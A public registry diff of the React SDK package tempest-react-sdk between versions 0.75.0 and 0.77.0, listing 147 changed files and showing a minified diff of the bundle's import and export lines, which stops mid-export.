tempest-react-sdk 0.75.0 → 0.77.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (147) hide show
  1. package/README.md +4 -2
  2. package/bin/create-tempest-app.e2e.test.mjs +112 -0
  3. package/bin/create-tempest-app.mjs +69 -28
  4. package/bin/lib/component/generate.mjs +191 -0
  5. package/bin/lib/component/generate.test.mjs +336 -0
  6. package/bin/lib/openapi/escape.mjs +210 -0
  7. package/bin/lib/openapi/generate.hostile.test.mjs +592 -0
  8. package/bin/lib/openapi/generate.mjs +93 -17
  9. package/bin/lib/openapi/schema-to-zod.mjs +41 -4
  10. package/bin/tempest.mjs +184 -3
  11. package/dist/auth/create-tempest-auth.cjs +1 -1
  12. package/dist/auth/create-tempest-auth.cjs.map +1 -1
  13. package/dist/auth/create-tempest-auth.js +127 -55
  14. package/dist/auth/create-tempest-auth.js.map +1 -1
  15. package/dist/auth/refresh-queue.cjs +1 -1
  16. package/dist/auth/refresh-queue.cjs.map +1 -1
  17. package/dist/auth/refresh-queue.js +13 -6
  18. package/dist/auth/refresh-queue.js.map +1 -1
  19. package/dist/br/pix.cjs +1 -1
  20. package/dist/br/pix.cjs.map +1 -1
  21. package/dist/br/pix.js +72 -62
  22. package/dist/br/pix.js.map +1 -1
  23. package/dist/br.d.ts +12 -4
  24. package/dist/components/Chat/ChatAttachments.cjs +1 -1
  25. package/dist/components/Chat/ChatAttachments.cjs.map +1 -1
  26. package/dist/components/Chat/ChatAttachments.js +46 -38
  27. package/dist/components/Chat/ChatAttachments.js.map +1 -1
  28. package/dist/components/Markdown/markdown-parse.cjs +7 -5
  29. package/dist/components/Markdown/markdown-parse.cjs.map +1 -1
  30. package/dist/components/Markdown/markdown-parse.js +151 -87
  31. package/dist/components/Markdown/markdown-parse.js.map +1 -1
  32. package/dist/components/Toast/Toast.module.cjs +1 -1
  33. package/dist/components/Toast/Toast.module.cjs.map +1 -1
  34. package/dist/components/Toast/Toast.module.js +7 -3
  35. package/dist/components/Toast/Toast.module.js.map +1 -1
  36. package/dist/components/Toast/ToastProvider.cjs +1 -1
  37. package/dist/components/Toast/ToastProvider.cjs.map +1 -1
  38. package/dist/components/Toast/ToastProvider.js +77 -51
  39. package/dist/components/Toast/ToastProvider.js.map +1 -1
  40. package/dist/data/create-data-provider.cjs +1 -1
  41. package/dist/data/create-data-provider.cjs.map +1 -1
  42. package/dist/data/create-data-provider.js +32 -21
  43. package/dist/data/create-data-provider.js.map +1 -1
  44. package/dist/http/api-client.cjs +1 -1
  45. package/dist/http/api-client.cjs.map +1 -1
  46. package/dist/http/api-client.js +81 -73
  47. package/dist/http/api-client.js.map +1 -1
  48. package/dist/http/errors.cjs +1 -1
  49. package/dist/http/errors.cjs.map +1 -1
  50. package/dist/http/errors.js +39 -35
  51. package/dist/http/errors.js.map +1 -1
  52. package/dist/neural.cjs +2 -0
  53. package/dist/neural.cjs.map +1 -0
  54. package/dist/neural.d.ts +110 -0
  55. package/dist/neural.js +48 -0
  56. package/dist/neural.js.map +1 -0
  57. package/dist/oauth/callback.cjs +2 -0
  58. package/dist/oauth/callback.cjs.map +1 -0
  59. package/dist/oauth/callback.js +42 -0
  60. package/dist/oauth/callback.js.map +1 -0
  61. package/dist/oauth/use-oauth-callback.cjs +1 -1
  62. package/dist/oauth/use-oauth-callback.cjs.map +1 -1
  63. package/dist/oauth/use-oauth-callback.js +13 -20
  64. package/dist/oauth/use-oauth-callback.js.map +1 -1
  65. package/dist/push/use-push-subscription.cjs +1 -1
  66. package/dist/push/use-push-subscription.cjs.map +1 -1
  67. package/dist/push/use-push-subscription.js +42 -42
  68. package/dist/push/use-push-subscription.js.map +1 -1
  69. package/dist/push/web-push-client.cjs +1 -1
  70. package/dist/push/web-push-client.cjs.map +1 -1
  71. package/dist/push/web-push-client.js +23 -3
  72. package/dist/push/web-push-client.js.map +1 -1
  73. package/dist/query/offline-persistence.cjs +1 -1
  74. package/dist/query/offline-persistence.cjs.map +1 -1
  75. package/dist/query/offline-persistence.js +68 -23
  76. package/dist/query/offline-persistence.js.map +1 -1
  77. package/dist/styles/component/Toast.css +6 -1
  78. package/dist/styles/feedback.css +6 -1
  79. package/dist/styles.css +1 -1
  80. package/dist/sw/background-sync.cjs +1 -1
  81. package/dist/sw/background-sync.cjs.map +1 -1
  82. package/dist/sw/background-sync.js +271 -60
  83. package/dist/sw/background-sync.js.map +1 -1
  84. package/dist/sw/cache-inspect.cjs.map +1 -1
  85. package/dist/sw/cache-inspect.js.map +1 -1
  86. package/dist/sw/cache.cjs +1 -1
  87. package/dist/sw/cache.cjs.map +1 -1
  88. package/dist/sw/cache.js +91 -64
  89. package/dist/sw/cache.js.map +1 -1
  90. package/dist/sw/credential-headers.cjs +2 -0
  91. package/dist/sw/credential-headers.cjs.map +1 -0
  92. package/dist/sw/credential-headers.js +17 -0
  93. package/dist/sw/credential-headers.js.map +1 -0
  94. package/dist/sw/session-data.cjs +2 -0
  95. package/dist/sw/session-data.cjs.map +1 -0
  96. package/dist/sw/session-data.js +17 -0
  97. package/dist/sw/session-data.js.map +1 -0
  98. package/dist/sw.cjs +1 -1
  99. package/dist/sw.d.ts +271 -23
  100. package/dist/sw.js +7 -5
  101. package/dist/telemetry/app-error-owner.cjs +2 -0
  102. package/dist/telemetry/app-error-owner.cjs.map +1 -0
  103. package/dist/telemetry/app-error-owner.js +18 -0
  104. package/dist/telemetry/app-error-owner.js.map +1 -0
  105. package/dist/telemetry/app-error-queue.cjs +1 -1
  106. package/dist/telemetry/app-error-queue.cjs.map +1 -1
  107. package/dist/telemetry/app-error-queue.js +19 -14
  108. package/dist/telemetry/app-error-queue.js.map +1 -1
  109. package/dist/telemetry/app-error-reporter.cjs +1 -1
  110. package/dist/telemetry/app-error-reporter.cjs.map +1 -1
  111. package/dist/telemetry/app-error-reporter.js +75 -34
  112. package/dist/telemetry/app-error-reporter.js.map +1 -1
  113. package/dist/telemetry/app-error-transport.cjs +1 -1
  114. package/dist/telemetry/app-error-transport.cjs.map +1 -1
  115. package/dist/telemetry/app-error-transport.js +16 -3
  116. package/dist/telemetry/app-error-transport.js.map +1 -1
  117. package/dist/tempest-react-sdk.cjs +1 -1
  118. package/dist/tempest-react-sdk.d.ts +979 -62
  119. package/dist/tempest-react-sdk.js +160 -156
  120. package/dist/utils/csv.cjs +3 -3
  121. package/dist/utils/csv.cjs.map +1 -1
  122. package/dist/utils/csv.js +16 -13
  123. package/dist/utils/csv.js.map +1 -1
  124. package/dist/utils/safe-url.cjs +2 -0
  125. package/dist/utils/safe-url.cjs.map +1 -0
  126. package/dist/utils/safe-url.js +39 -0
  127. package/dist/utils/safe-url.js.map +1 -0
  128. package/dist/vite/tempest-csp.cjs +2 -2
  129. package/dist/vite/tempest-csp.cjs.map +1 -1
  130. package/dist/vite/tempest-csp.js +118 -63
  131. package/dist/vite/tempest-csp.js.map +1 -1
  132. package/dist/vite.d.ts +21 -5
  133. package/dist/webrtc/peer-link.cjs +1 -1
  134. package/dist/webrtc/peer-link.cjs.map +1 -1
  135. package/dist/webrtc/peer-link.js +2 -10
  136. package/dist/webrtc/peer-link.js.map +1 -1
  137. package/dist/webrtc/peer-mesh.cjs +1 -1
  138. package/dist/webrtc/peer-mesh.cjs.map +1 -1
  139. package/dist/webrtc/peer-mesh.js +110 -72
  140. package/dist/webrtc/peer-mesh.js.map +1 -1
  141. package/package.json +11 -1
  142. package/template-pwa/src/pwa.tsx +22 -0
  143. package/template-pwa/src/sw.ts +27 -14
  144. package/dist/components/Markdown/markdown-url.cjs +0 -2
  145. package/dist/components/Markdown/markdown-url.cjs.map +0 -1
  146. package/dist/components/Markdown/markdown-url.js +0 -28
  147. package/dist/components/Markdown/markdown-url.js.map +0 -1
@@ -210,159 +210,163 @@ import { useBarcodeScanner as Hr } from "./capture/use-barcode-scanner.js";
210
210
  import { BarcodeScanner as Ur } from "./components/BarcodeScanner/BarcodeScanner.js";
211
211
  import { aiChatStrings as Wr, isGenerating as Gr, lastAssistantId as Kr, roleLabel as qr, tailSignature as Jr, turnTime as Yr, visibleTurns as Xr } from "./components/AIChat/ai-chat-turns.js";
212
212
  import { AIChatComposer as Zr } from "./components/AIChat/AIChatComposer.js";
213
- import { Markdown as Qr } from "./components/Markdown/Markdown.js";
214
- import { AIChatTurn as $r } from "./components/AIChat/AIChatTurn.js";
215
- import { AIChat as ei } from "./components/AIChat/AIChat.js";
216
- import { Transfer as ti } from "./components/Transfer/Transfer.js";
217
- import { Masonry as ni } from "./components/Masonry/Masonry.js";
218
- import { Tour as ri } from "./components/Tour/Tour.js";
219
- import { buildBarListRows as ii } from "./components/BarList/bar-list-model.js";
220
- import { BarList as ai } from "./components/BarList/BarList.js";
221
- import { describeFilter as oi, filtersFromSearchParams as si, filtersToSearchParams as ci, operatorsFor as li } from "./components/FilterBar/filter-model.js";
222
- import { FilterBar as ui } from "./components/FilterBar/FilterBar.js";
223
- import { formatCPF as di, formatCurrency as fi, formatDate as pi, formatDateForInput as mi, formatDateTime as hi, formatDateTimeForInput as gi, formatPercent as _i, formatPhone as vi } from "./utils/format.js";
224
- import { applyFilters as yi } from "./components/FilterBar/filter-apply.js";
225
- import { filtersToQueryParams as bi } from "./components/FilterBar/filter-query.js";
226
- import { FilterPanel as xi } from "./components/FilterPanel/FilterPanel.js";
227
- import { createJsonStorage as Si, storage as Ci } from "./utils/storage.js";
228
- import { compressToString as wi, compressedStorage as Ti, compressedStorageCodec as Ei, decompressFromString as Di } from "./utils/compressed-storage.js";
229
- import { camelCase as Oi, capitalize as ki, kebabCase as Ai, pluralize as ji, slugify as Mi, truncate as Ni } from "./utils/strings.js";
230
- import { chunk as Pi, groupBy as Fi, range as Ii, uniqueBy as Li } from "./utils/arrays.js";
231
- import { deepMerge as Ri, isEmpty as zi, omit as Bi, pick as Vi } from "./utils/objects.js";
232
- import { assertNever as Hi, isDefined as Ui, isNumber as Wi, isPlainObject as Gi, isString as Ki } from "./utils/guards.js";
233
- import { debounce as qi, memoizeOne as Ji, once as Yi, throttle as Xi } from "./utils/functions.js";
234
- import { sleep as Zi, withTimeout as Qi } from "./utils/promises.js";
235
- import { randomId as $i } from "./utils/ids.js";
236
- import { writeXlsx as ea } from "./utils/xlsx.js";
237
- import { isShareSupported as ta, share as na } from "./share/share.js";
238
- import { shareOrDownloadBlob as ra } from "./share/share-or-download.js";
239
- import { downloadCsv as ia, toCsv as aa } from "./utils/csv.js";
240
- import { buildApiUrl as oa } from "./http/build-url.js";
241
- import { isTrustedCredentialTarget as sa } from "./http/credential-scope.js";
242
- import { DEFAULT_CSRF_COOKIE_NAME as ca, DEFAULT_CSRF_HEADER_NAME as la, csrfHeaders as ua } from "./http/csrf.js";
243
- import { TempestApiError as da, isApiError as fa, isRetriableStatus as pa } from "./http/errors.js";
244
- import { retry as ma } from "./http/retry.js";
245
- import { createApiClient as ha } from "./http/api-client.js";
246
- import { API_ERROR_OFFLINE_KEY as ga, API_ERROR_VALIDATION_KEY as _a, DEFAULT_API_ERROR_STRINGS as va, describeApiError as ya } from "./http/describe-api-error.js";
247
- import { createI18n as ba } from "./i18n/create-i18n.js";
248
- import { I18nProvider as xa, useI18n as Sa, useOptionalI18n as Ca, useTranslate as wa } from "./i18n/I18nProvider.js";
249
- import { useDescribeApiError as Ta } from "./http/use-describe-api-error.js";
250
- import { parseResponse as Ea } from "./http/parse-response.js";
251
- import { uploadWithProgress as Da } from "./http/upload-with-progress.js";
252
- import { generateIdempotencyKey as Oa } from "./http/idempotency.js";
253
- import { DEFAULT_CHUNK_SIZE as ka, createLocalUploadStorage as Aa, createResumableUpload as ja, uploadFingerprint as Ma } from "./http/resumable-upload.js";
254
- import { usePoll as Na } from "./http/use-poll.js";
255
- import { createAuthStore as Pa } from "./auth/create-auth-store.js";
256
- import { AuthGuard as Fa } from "./auth/AuthGuard.js";
257
- import { decodeJWT as Ia, isJWTExpired as La } from "./auth/jwt.js";
258
- import { lazyWithRetry as Ra } from "./auth/lazy-with-retry.js";
259
- import { createRefreshQueue as za } from "./auth/refresh-queue.js";
260
- import { DEFAULT_PUB_KEY_CRED_PARAMS as Ba, PasskeyError as Va, base64UrlToBytes as Ha, bytesToBase64Url as Ua, classifyPasskeyError as Wa, createPasskeyClient as Ga, isConditionalMediationAvailable as Ka, isPasskeySupported as qa, isPlatformAuthenticatorAvailable as Ja } from "./auth/passkey.js";
261
- import { usePasskeyCapabilities as Ya, usePasskeyRegistration as Xa, usePasskeySignIn as Za } from "./auth/use-passkey.js";
262
- import { createTempestAuth as Qa } from "./auth/create-tempest-auth.js";
263
- import { AccessControlProvider as $a, useAccessControl as eo } from "./access/access-control-context.js";
264
- import { useCan as to } from "./access/use-can.js";
265
- import { Can as no } from "./access/Can.js";
266
- import { createRoleAccessControl as ro } from "./access/create-role-access-control.js";
267
- import { permissionsFromToken as io } from "./access/permissions-from-token.js";
268
- import { GoogleSignIn as ao } from "./oauth/GoogleSignIn.js";
269
- import { useOAuthCallback as oo } from "./oauth/use-oauth-callback.js";
270
- import { CACHE_TIME as so, REFETCH_TIME as co, STALE_TIME as lo } from "./query/constants.js";
271
- import { createQueryKeys as uo } from "./query/create-query-keys.js";
272
- import { shouldRetryQuery as fo } from "./query/retry-policy.js";
273
- import { QueryProvider as po } from "./query/QueryProvider.js";
274
- import { emptyOffsetPage as mo, isCursorPage as ho, isOffsetPage as go } from "./query/pagination.js";
275
- import { usePaginatedQuery as _o } from "./query/use-paginated-query.js";
276
- import { useCursorQuery as vo } from "./query/use-cursor-query.js";
277
- import { useOfflineMutation as yo } from "./query/use-offline-mutation.js";
278
- import { removeById as bo, upsertById as xo } from "./query/optimistic.js";
279
- import { createOfflineStore as So } from "./offline/create-offline-store.js";
280
- import { persistQueryClientOffline as Co } from "./query/offline-persistence.js";
281
- import { createDataProvider as wo } from "./data/create-data-provider.js";
282
- import { TempestDataProvider as To, useDataProvider as Eo } from "./data/data-provider-context.js";
283
- import { listQueryKey as Do, oneQueryKey as Oo, useCreate as ko, useDelete as Ao, useList as jo, useOne as Mo, useUpdate as No } from "./data/use-resource.js";
284
- import { RouteGuard as Po } from "./router/RouteGuard.js";
285
- import { AppRouter as Fo, defineRoutes as Io } from "./router/AppRouter.js";
286
- import { BrowserRouter as Lo, HashRouter as Ro, Link as zo, MemoryRouter as Bo, NavLink as Vo, Navigate as Ho, Outlet as Uo, Route as Wo, Routes as Go, redirect as Ko, useLocation as qo, useMatch as Jo, useNavigate as Yo, useParams as Xo, useRouteError as Zo, useSearchParams as Qo } from "./router/index.js";
287
- import { createStore as $o } from "./store/create-store.js";
288
- import { createSelectors as es } from "./store/create-selectors.js";
289
- import { ThemeProvider as ts, useTheme as ns } from "./theme/ThemeProvider.js";
290
- import { ErrorBoundary as rs } from "./error-boundary/ErrorBoundary.js";
291
- import { AppProviders as is } from "./app/AppProviders.js";
292
- import { createEventStream as as } from "./sse/create-event-stream.js";
293
- import { useEventStream as os } from "./sse/use-event-stream.js";
294
- import { isPushSupported as ss, urlBase64ToUint8Array as cs } from "./push/utils.js";
295
- import { WebPushClient as ls, WebPushPermissionDeniedError as us, WebPushUnsupportedError as ds } from "./push/web-push-client.js";
296
- import { usePushSubscription as fs } from "./push/use-push-subscription.js";
297
- import { installNotificationClickHandler as ps, installPushHandler as ms, installSkipWaitingListener as hs } from "./sw/create-push-handler.js";
298
- import { createPartialResponse as gs, installPrecache as _s, installRuntimeCache as vs } from "./sw/cache.js";
299
- import { installBackgroundSync as ys } from "./sw/background-sync.js";
300
- import { registerPeriodicSync as bs } from "./sw/periodic-sync.js";
301
- import { clearCaches as xs, inspectCaches as Ss } from "./sw/cache-inspect.js";
302
- import { createAudioPlayer as Cs, playAudio as ws, stopAudio as Ts } from "./audio/audio-player.js";
303
- import { useAudio as Es } from "./audio/use-audio.js";
304
- import { createSfxPool as Ds } from "./audio/sfx-pool.js";
305
- import { useSfxPool as Os } from "./audio/use-sfx-pool.js";
306
- import { DEFAULT_MAX_GAIN as ks, createAudioBus as As } from "./audio/audio-bus.js";
307
- import { useAudioBus as js } from "./audio/use-audio-bus.js";
308
- import { DEFAULT_VOICE_CHAIN as Ms, createVoiceChain as Ns, isVoiceChainIdle as Ps, monitorVoiceChain as Fs } from "./audio/voice-chain.js";
309
- import { measureNoiseFloor as Is, suggestGateThreshold as Ls } from "./audio/noise-floor.js";
310
- import { monitorVoiceActivity as Rs } from "./audio/voice-activity.js";
311
- import { createVideoRecorder as zs, isVideoRecordingSupported as Bs, pickVideoMimeType as Vs } from "./capture/video-recorder.js";
312
- import { useVideoRecorder as Hs } from "./capture/use-video-recorder.js";
313
- import { isScreenCaptureSupported as Us, useScreenCapture as Ws } from "./capture/use-screen-capture.js";
314
- import { isSpeechRecognitionSupported as Gs, useSpeechRecognition as Ks } from "./capture/use-speech-recognition.js";
315
- import { createOfflineDatabase as qs } from "./offline/create-offline-database.js";
316
- import { createOfflineSync as Js } from "./offline/create-offline-sync.js";
317
- import { higherVersionWins as Ys, lastWriteWins as Xs } from "./offline/conflict.js";
318
- import { useErrorHandler as Zs } from "./error-boundary/use-error-handler.js";
319
- import { FormField as Qs } from "./forms/FormField.js";
320
- import { validateForm as $s } from "./forms/validate-form.js";
321
- import { zodResolver as ec } from "./forms/zod-resolver.js";
322
- import { useZodForm as tc } from "./forms/use-zod-form.js";
323
- import { formatCEP as nc, formatCNPJ as rc, unmask as ic, validateCNPJ as ac, validateCPF as oc } from "./forms/br-validators.js";
324
- import { CEPInput as sc, CNPJInput as cc, CPFInput as lc, MoneyInput as uc, PhoneInput as dc } from "./forms/masked-inputs.js";
325
- import { useViaCEP as fc } from "./forms/use-viacep.js";
326
- import { Controller as pc, FormProvider as mc, useFieldArray as hc, useForm as gc, useFormContext as _c, useFormState as vc, useWatch as yc } from "./forms/index.js";
327
- import { HEARTBEAT_CLOSE_CODE as bc, isRejectionCloseCode as xc } from "./ws/resilience.js";
328
- import { createWebSocket as Sc } from "./ws/create-web-socket.js";
329
- import { useWebSocket as Cc } from "./ws/use-web-socket.js";
330
- import { setTunedLocalDescription as wc, tuneOpus as Tc } from "./webrtc/opus-sdp.js";
331
- import { setSenderBitrate as Ec } from "./webrtc/sender-bitrate.js";
332
- import { createLinkStatsSampler as Dc, readAvailableOutgoingKbps as Oc, readQualityLimitation as kc, readRelayed as Ac, readRoundTripMs as jc } from "./webrtc/link-stats.js";
333
- import { useLinkStats as Mc } from "./webrtc/use-link-stats.js";
334
- import { resolveDegradation as Nc, scaleForRoom as Pc } from "./webrtc/mesh-quality.js";
335
- import { createPeerMesh as Fc } from "./webrtc/peer-mesh.js";
336
- import { clampLatitude as Ic, isCoordinate as Lc, isValidLatitude as Rc, isValidLongitude as zc, normalizeLongitude as Bc } from "./geo/types.js";
337
- import { EARTH_RADIUS_KM as Vc, bearingDeg as Hc, haversineKm as Uc, pathLengthKm as Wc, toRadians as Gc } from "./geo/distance.js";
338
- import { DEFAULT_CAR_SPEED_KMH as Kc, DEFAULT_CIRCUITY_FACTOR as qc, DEFAULT_MODE_DURATION_FACTORS as Jc, estimateTravel as Yc } from "./geo/estimate.js";
339
- import { boundingBox as Xc, boundsCenter as Zc, expandBounds as Qc } from "./geo/bounds.js";
340
- import { fitProjection as $c, projectMercator as el, unprojectMercator as tl } from "./geo/projection.js";
341
- import { createOSRMBackend as nl } from "./geo/routing.js";
342
- import { createPositionTracker as rl } from "./geo/create-position-tracker.js";
343
- import { usePositionTracker as il } from "./geo/use-position-tracker.js";
344
- import { TrajectoryMap as al } from "./geo/TrajectoryMap.js";
345
- import { applyTheme as ol, readThemeToken as sl } from "./theme/apply-theme.js";
346
- import { contrastRatio as cl, createColorScale as ll, hexToOklch as ul, hexToRgb as dl, hexToRgbaString as fl, oklchToHex as pl, readableForeground as ml, relativeLuminance as hl, rgbToHex as gl } from "./theme/color.js";
347
- import { createTheme as _l, themeContrast as vl } from "./theme/create-theme.js";
348
- import { createInverseSurface as yl } from "./theme/inverse-surface.js";
349
- import { getThemePreset as bl, themePresets as xl } from "./theme/theme-presets.js";
350
- import { getInitialTheme as Sl, themeInitScript as Cl } from "./theme/initial-theme.js";
351
- import { consoleSink as wl, createLogger as Tl } from "./logger/logger.js";
352
- import { TelemetryProvider as El, useTelemetry as Dl } from "./telemetry/TelemetryProvider.js";
353
- import { consoleTelemetryAdapter as Ol } from "./telemetry/console-adapter.js";
354
- import { createSentryTelemetryAdapter as kl } from "./telemetry/sentry-adapter.js";
355
- import { createPostHogTelemetryAdapter as Al } from "./telemetry/posthog-adapter.js";
356
- import { describeAppError as jl } from "./telemetry/describe-app-error.js";
357
- import { createAppErrorReporter as Ml } from "./telemetry/app-error-reporter.js";
358
- import { createAppErrorTelemetryAdapter as Nl } from "./telemetry/app-error-adapter.js";
359
- import { FeatureFlagsProvider as Pl, useFeatureFlag as Fl, useFlagValue as Il } from "./feature-flags/FeatureFlagsProvider.js";
360
- import { createInMemoryFlags as Ll } from "./feature-flags/in-memory-adapter.js";
361
- import { createGrowthBookFeatureFlagsAdapter as Rl } from "./feature-flags/growthbook-adapter.js";
362
- import { createLaunchDarklyFeatureFlagsAdapter as zl } from "./feature-flags/launchdarkly-adapter.js";
363
- import { DIVERGING_STEP_COUNT as Bl, ORDINAL_START_STEP as Vl, SEQUENTIAL_STEP_COUNT as Hl, divergingScale as Ul, scaleSteps as Wl, sequentialScale as Gl } from "./charts/scales.js";
364
- import { cachedResponseBytes as Kl } from "./perf/cache-size.js";
365
- import { readDeviceProfile as ql } from "./perf/device.js";
366
- import { formatDurationMs as Jl } from "./perf/format.js";
367
- import { createInferenceProfiler as Yl } from "./perf/profiler.js";
368
- export { Qt as ABSENT_TEXT, ei as AIChat, Zr as AIChatComposer, $r as AIChatTurn, Fr as ALL_BARCODE_FORMATS, Vt as ALL_OPTION_VALUE, ga as API_ERROR_OFFLINE_KEY, _a as API_ERROR_VALIDATION_KEY, wr as AUDIO_MIME_CANDIDATES, $a as AccessControlProvider, t as Accordion, n as Alert, i as AppBar, is as AppProviders, Fo as AppRouter, s as AppShell, c as AspectRatio, Sr as AudioPlayer, Pr as AudioRecorder, Fa as AuthGuard, l as Avatar, u as AvatarGroup, a as BREAKPOINTS, d as Badge, f as Banner, ai as BarList, Ur as BarcodeScanner, p as BottomNavigation, h as BottomSheet, g as Breadcrumbs, Lo as BrowserRouter, _ as Button, v as ButtonSlot, so as CACHE_TIME, sc as CEPInput, cc as CNPJInput, lc as CPFInput, $n as Calendar, no as Can, y as Card, ar as Carousel, b as Center, yr as Chat, _r as ChatBubble, vr as ChatComposer, x as Checkbox, S as ChipInput, In as ClickOutside, An as CodeBlock, qn as Collapsible, w as Combobox, Xn as Command, Ln as ConditionalWrapper, E as ConfirmDialog, B as Container, Jn as ContextMenu, pc as Controller, kn as CopyButton, va as DEFAULT_API_ERROR_STRINGS, Ir as DEFAULT_BARCODE_FORMATS, Kc as DEFAULT_CAR_SPEED_KMH, ka as DEFAULT_CHUNK_SIZE, qc as DEFAULT_CIRCUITY_FACTOR, ca as DEFAULT_CSRF_COOKIE_NAME, la as DEFAULT_CSRF_HEADER_NAME, ks as DEFAULT_MAX_GAIN, Jc as DEFAULT_MODE_DURATION_FACTORS, bn as DEFAULT_PLAYBACK_RATES, Ba as DEFAULT_PUB_KEY_CRED_PARAMS, ye as DEFAULT_PUSH_TO_TALK_KEY, Ms as DEFAULT_VOICE_CHAIN, Bl as DIVERGING_STEP_COUNT, Vn as DataList, or as DataTable, O as DatePicker, nr as DateRangePicker, Hn as DescriptionList, k as Divider, A as Drawer, j as DropdownMenu, M as Dropzone, Vc as EARTH_RADIUS_KM, N as EmptyState, rs as ErrorBoundary, P as ErrorState, zn as ErrorText, Pl as FeatureFlagsProvider, F as FileUpload, ui as FilterBar, xi as FilterPanel, cr as FloatingActionButton, Rn as For, I as Form, L as FormActions, Qs as FormField, mc as FormProvider, R as FormRow, z as FormSection, ao as GoogleSignIn, V as Grid, bc as HEARTBEAT_CLOSE_CODE, Ro as HashRouter, Ft as Hide, Yn as HoverCard, xa as I18nProvider, Bn as Image, mn as ImageCropper, D as Input, X as InstallBanner, Z as InstallButton, mt as Kanban, gt as Kbd, Kn as Label, pr as Lightbox, zo as Link, sr as ListTile, Qr as Markdown, ni as Masonry, Bo as MemoryRouter, ir as Menubar, T as Modal, _t as ModalsProvider, Mn as Money, uc as MoneyInput, tr as MultiSelect, bt as NProgressBar, Vo as NavLink, yt as Navbar, Ho as Navigate, rr as NavigationMenu, lr as NavigationRail, vn as NotificationCenter, Vl as ORDINAL_START_STEP, ct as OfflineIndicator, Uo as Outlet, be as PUSH_TO_TALK_KEYS, wt as Page, Tt as Pagination, Va as PasskeyError, Et as PasswordInput, dc as PhoneInput, Ot as PinInput, kt as Popover, C as Portal, At as Progress, Tn as QRCapacityError, On as QRCode, po as QueryProvider, co as REFETCH_TIME, jt as Radio, Mt as RadioGroup, Nt as RangeSlider, Pt as RatingStars, dr as RefreshIndicator, jn as RelativeTime, Qn as Resizable, Fn as Reveal, Wo as Route, Po as RouteGuard, Go as Routes, Hl as SEQUENTIAL_STEP_COUNT, lo as STALE_TIME, Lt as SafeArea, gn as Scheduler, Zn as ScrollArea, Rt as SearchBar, St as Section, Ct as SectionHeader, zt as SegmentedControl, Bt as Select, It as Show, Kt as Sidebar, mr as SignaturePad, qt as Skeleton, er as Slider, Jt as Spacer, hn as Sparkline, Yt as Spinner, H as Stack, Xt as Stat, Zt as Stepper, rn as StepperInput, an as Switch, ft as SyncStatusBadge, sn as Table, cn as Tabs, on as Tag, El as TelemetryProvider, da as TempestApiError, To as TempestDataProvider, ln as Textarea, ts as ThemeProvider, ur as TimePicker, un as Timeline, fn as ToastProvider, Un as Toggle, Wn as ToggleGroup, Gn as ToggleGroupItem, dn as Tooltip, ri as Tour, al as TrajectoryMap, ti as Transfer, Nn as TreeView, Pn as TruncateText, pt as UpdatePrompt, xn as VideoPlayer, Sn as VirtualList, wn as VirtualTable, dt as VisuallyHidden, ls as WebPushClient, us as WebPushPermissionDeniedError, ds as WebPushUnsupportedError, fr as Wizard, Gt as activeNavKey, Wr as aiChatStrings, Te as announce, yi as applyFilters, ht as applyKanbanMove, ol as applyTheme, Hi as assertNever, Ha as base64UrlToBytes, Hc as bearingDeg, Mr as blobToWav, Xc as boundingBox, Zc as boundsCenter, oa as buildApiUrl, ii as buildBarListRows, U as buildOpenInChromeIntent, Ua as bytesToBase64Url, Kl as cachedResponseBytes, Oi as camelCase, ki as capitalize, Pi as chunk, $t as clamp, Ic as clampLatitude, Wa as classifyPasskeyError, Ee as clearAnnouncer, xs as clearCaches, e as cn, Cn as compareValues, wi as compressToString, Ti as compressedStorage, Ei as compressedStorageCodec, wl as consoleSink, Ol as consoleTelemetryAdapter, cl as contrastRatio, ha as createApiClient, Ml as createAppErrorReporter, Nl as createAppErrorTelemetryAdapter, As as createAudioBus, Cs as createAudioPlayer, Tr as createAudioRecorder, Pa as createAuthStore, Lr as createBarcodeDetector, ll as createColorScale, wo as createDataProvider, as as createEventStream, Rl as createGrowthBookFeatureFlagsAdapter, ba as createI18n, Ll as createInMemoryFlags, Yl as createInferenceProfiler, yl as createInverseSurface, Si as createJsonStorage, zl as createLaunchDarklyFeatureFlagsAdapter, Or as createLevelMeter, Dc as createLinkStatsSampler, Aa as createLocalUploadStorage, Tl as createLogger, Cr as createMediaRecorder, nl as createOSRMBackend, qs as createOfflineDatabase, So as createOfflineStore, Js as createOfflineSync, gs as createPartialResponse, Ga as createPasskeyClient, Fc as createPeerMesh, rl as createPositionTracker, Al as createPostHogTelemetryAdapter, uo as createQueryKeys, za as createRefreshQueue, ja as createResumableUpload, ro as createRoleAccessControl, es as createSelectors, kl as createSentryTelemetryAdapter, Ds as createSfxPool, $o as createStore, Qa as createTempestAuth, _l as createTheme, zs as createVideoRecorder, Ns as createVoiceChain, Sc as createWebSocket, ua as csrfHeaders, qi as debounce, Ia as decodeJWT, Di as decompressFromString, Ri as deepMerge, Y as defaultInstallHint, Io as defineRoutes, ya as describeApiError, jl as describeAppError, oi as describeFilter, Ul as divergingScale, ia as downloadCsv, mo as emptyOffsetPage, En as encodeQR, Nr as encodeWav, Dt as estimatePasswordStrength, et as estimateStorage, Yc as estimateTravel, Qc as expandBounds, si as filtersFromSearchParams, bi as filtersToQueryParams, ci as filtersToSearchParams, $c as fitProjection, en as formatBytes, nc as formatCEP, rc as formatCNPJ, di as formatCPF, tn as formatCompactNumber, fi as formatCurrency, pi as formatDate, mi as formatDateForInput, hi as formatDateTime, gi as formatDateTimeForInput, Jl as formatDurationMs, _i as formatPercent, vi as formatPhone, Oa as generateIdempotencyKey, Sl as getInitialTheme, Rr as getSupportedBarcodeFormats, bl as getThemePreset, Fi as groupBy, Uc as haversineKm, ul as hexToOklch, dl as hexToRgb, fl as hexToRgbaString, Ys as higherVersionWins, Ss as inspectCaches, ys as installBackgroundSync, ps as installNotificationClickHandler, _s as installPrecache, ms as installPushHandler, vs as installRuntimeCache, hs as installSkipWaitingListener, W as isAndroid, G as isAndroidWithoutPromptApi, fa as isApiError, br as isAudioOutputSelectionSupported, Er as isAudioRecordingSupported, zr as isBarcodeDetectionSupported, Ka as isConditionalMediationAvailable, Lc as isCoordinate, ho as isCursorPage, Ui as isDefined, zi as isEmpty, _e as isFullscreenSupported, Gr as isGenerating, K as isIOS, La as isJWTExpired, Ar as isMediaCaptureSupported, Wi as isNumber, go as isOffsetPage, qa as isPasskeySupported, Gi as isPlainObject, Ja as isPlatformAuthenticatorAvailable, ss as isPushSupported, xc as isRejectionCloseCode, pa as isRetriableStatus, Us as isScreenCaptureSupported, ta 